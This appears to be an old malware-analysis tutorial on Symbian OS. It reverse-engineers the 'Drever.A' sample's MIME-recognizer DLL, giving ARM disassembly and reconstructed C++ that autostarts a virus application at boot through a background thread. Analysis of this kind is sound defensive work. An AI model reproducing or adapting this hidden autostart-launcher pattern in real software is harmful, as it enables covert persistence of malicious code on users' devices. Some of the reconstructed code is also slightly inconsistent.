Tutorial: Understanding Symbian virus (I)
Part 1. Basic
1. Symbian OS common files:
.sis - Application setup package(You can get unsis tool from Symbian.com site, and it need Perl to run);
.jar - j2me application package(zip format);
.app/.exe/.mdl/.dll - application file;
.aif - Application Information File;
etc.
2. Symbian OS common application files:
App - Most of application is in this type (It likes execute file on windows in function, but it is most likes dynamic link library in implementation);
Console exe - only for testing, few;
Dll - dynamic link library in symbian;
Mdl - a special type dynamic link library, use to autostart, the file will release to c:\system\recogs directory, fullname is MIME Recognizer Dll;
3. virus spread way:
Trojan - most in app format, few in console exe format, trojan application will run directly;
Worm - most in app format, worm will setup a MDL file to start main app automaticly, and spread itself by infrared, bluetooth, MMS or email;
Virus - infect EPOC32 format file?
Part 2. Analyze MDL sample for "Drever.A"
Instruction:
1. Symbian OS support several CPU architectures, the most mobile is using ARM. The virus analyzed in this text is also on ARM platform,
so reader should know the BASIC ARM INSTRUCTION AND ARM PROGRAMMING.
2. My main tool is IDA Pro 4.8. For reducing to use memory, Symbian OS APIs do not export the name(only by order), so we could not see the
API name directly. I have written a IDA plugin to try to fix this problem. (The plugin is in testing, so I have not provided it yet. If
you need or wanna try it, please contact me by email: jay_zephyr2002@yahoo.com.cn)
3. How to pass the parameters in Symbian OS API or function:
1) System will use R0-R3 to pass the parameters, generally speaking;
2) If there is more than 4 parameters, the other parameters will be pass by stack;
3) class method (not static) will use R0 to pass the class this pointer;
4) return value is use R0 register;
===============================================================================
MDL application loading flow:
Symbian OS MDL Loader
-> 1. E32Dll(TDllReason) // exported by mdl file, entrypoint
-> 2. CreateRecognizer() // exported by mdl file, order = 1
===============================================================================
1. See Entrypoint in IDA result:
---------------------------[ BEGIN IDA DISASSEMBLE ]---------------------------
.text:10000000 Start:
.text:10000000 B loc_10000248
.text:10000248 loc_10000248:
.text:10000248 MOV R0, #0
.text:1000024C BX LR
----------------------------[ END IDA DISASSEMBLE ]----------------------------
this is the E32Dll function in C program, the source is just like:
////////////////////////////////////////////////////////////////////////////////
// C++ functions
GLDEF_C TInt E32Dll(TDllReason /*reason*/)
{
return 0; // KErrNone
}
////////////////////////////////////////////////////////////////////////////////
2. View "CreateRecognizer" function (the same reason, the CreateRecognizer function is exported by order 1, not by name):
---------------------------[ BEGIN IDA DISASSEMBLE ]---------------------------
.text:10000218 EXPORT CreateRecognizer
.text:10000218 CreateRecognizer:
.text:10000218 STMFD SP!, {R4,LR}
.text:1000021C MOV R0, #0x128
.text:10000220 BL CBase::__nw(uint)
.text:10000224 SUBS R4, R0, #0
.text:10000228 BEQ faile_to_alloc_mem ; if R0 == 0 then memory alloc failed!
.text:1000022C MOV R0, R4
.text:10000230 BL recognizer_constructor ; invoke recognizer constructor!
.text:10000234 MOV R4, R0
.text:10000238
.text:10000238 faile_to_alloc_mem:
.text:10000238 BL do_exe_virus_body
.text:1000023C MOV R0, R4
.text:10000240 LDMFD SP!, {R4,LR}
.text:10000244 BX LR
----------------------------[ END IDA DISASSEMBLE ]----------------------------
translate the assemble codes to C++ codes:
////////////////////////////////////////////////////////////////////////////////
// C++ functions
EXPORT_C CApaDataRecognizerType * CreateRecognizer()
{
CApaDataRecognizerType * rg = new MyRecognizer();
do_exe_virus_body();
return rg;
}
////////////////////////////////////////////////////////////////////////////////
I have analyzed all codes for MyRecognizer class, and do not find any malware codes. I put the whole MyRecognizer class code at the end of this text.
Let's check the function "do_exe_virus_body", this is the virus codes.
---------------------------[ BEGIN IDA DISASSEMBLE ]---------------------------
.text:10000068 do_exe_virus_body:
.text:10000068 STMFD SP!, {R4,R5,LR}
.text:1000006C SUB SP, SP, #0x10
.text:10000070 MOV R0, #4
.text:10000074 BL __builtin_new
.text:10000078 SUBS R5, R0, #0
.text:1000007C LDRNE R3, =0xFFFF8001
.text:10000080 STRNE R3, [R5]
.text:10000084 MOV R3, #0x100
.text:10000088 STR R3, [SP,#arg_0] ; param4
.text:1000008C STR R3, [SP,#arg_4] ; param5
.text:10000090 MOV R4, #0
.text:10000094 STR R4, [SP,#arg_8] ; param6
.text:10000098 MOV R3, #1
.text:1000009C STR R3, [SP,#arg_C] ; param7
.text:100000A0 MOV R0, R5 ; this pointer
.text:100000A4 LDR R1, =aSaboot ; param1
.text:100000A8 LDR R2, =ThreadProc ; param2
.text:100000AC MOV R3, #0x2000 ; param3
.text:100000B0 BL RThread::Create(TDesC16 const &,int (*)(void *),int,int,int,void *,TOwnerType)
.text:100000B4 BL User::LeaveIfError(int)
.text:100000B8 MOV R0, R5
.text:100000BC MOV R1, R4
.text:100000C0 BL RThread::SetPriority(TThreadPriority)
.text:100000C4 MOV R0, R5
.text:100000C8 BL RThread::Resume(void)
.text:100000CC MOV R0, R5
.text:100000D0 BL RHandleBase::Close(void)
.text:100000D4 B loc_100000E4
.text:100000E4
.text:100000E4 loc_100000E4:
.text:100000E4 ADD SP, SP, #0x10
.text:100000E8 LDMFD SP!, {R4,R5,LR}
.text:100000EC BX LR
----------------------------[ END IDA DISASSEMBLE ]----------------------------
OK, very easy, isn't it? Let's convert it. The result is:
////////////////////////////////////////////////////////////////////////////////
// C++ functions
void do_exe_virus_body()
{
RThread thread;
_LIT(KTxtName, "aSaboot");
User::LeaveIfError(
thread.Create(
KTxtName, ThreadProc,
0x2000, 0x100, 0x100,
NULL, EOwnerThread)
);
thread.SetPriority(EPriorityNormal);
thread.Resume();
thread.Close();
}
////////////////////////////////////////////////////////////////////////////////
Now, we give the ThreadProc function codes (For lazy, I only show the C++ source):
////////////////////////////////////////////////////////////////////////////////
// C++ functions
TInt ThreadProc(TAny * /* arg */)
{
TRAPD(err, exe_virus_app());
return 0;
}
void exe_virus_app()
{
const TUid uid = {0x100052C6};
_LIT(KTxtVirusApp, "C:\system\apps\Gavnowin!\Gavnowin.app");
RSystemAgent sa;
RTimer timer;
TInt n = 0;
TRequestStatus req = 0x80000001;
sa.Connect();
sa.NotifyIREventSynchronously(0);
timer.CreateLocale();
while (sa.GetStatus()) {
if (n>5) break;
n++;
timer.After(&req, 0x4C4B40);
WaitForRequest(&req);
}
sa.Close();
EikDll::StartExeL(KTxtVirusApp);
}
////////////////////////////////////////////////////////////////////////////////
// Text end
OK, that's all! If you found any bugs, please let me know.
Thanks for reading.
================================================================================
Appendix:
================================================================================
The follow is the MyRecognizer class source:
////////////////////////////////////////////////////////////////////////////////
// File name: MyRecognizer.h
////////////////////////////////////////////////////////////////////////////////
#include <apmrec.h>
const TUid MyUid = {0x101FEB56};
class CMyRecognizer : public CApaDataRecognizerType
{
public:
CMyRecognizer();
virtual ~CMyRecognizer();
virtual TUint PreferredBufSize();
virtual TDataType SupportedDataTypeL(TInt index) const;
private:
virtual void DoRecognizeL(const TDesC& name, const TDesC8& buf);
};
////////////////////////////////////////////////////////////////////////////////
// File name: MyRecognizer.cpp
////////////////////////////////////////////////////////////////////////////////
#include "MyRecognizer.h"
CMyRecognizer::CMyRecognizer():
CApaDataRecognizerType(MyUid, 0)
{
}
CMyRecognizer::~CMyRecognizer()
{
}
TUint CMyRecognizer::PreferredBufSize(TInt index)
{
return 0;
}
TDataType CMyRecognizer::SupportedDataTypeL(TInt index) const
{
return TDataType();
}
void CMyRecognizer::DoRecognizeL(const TDesC& name, const TDesC8& buf)
{
}
////////////////////////////////////////////////////////////////////////////////
//:~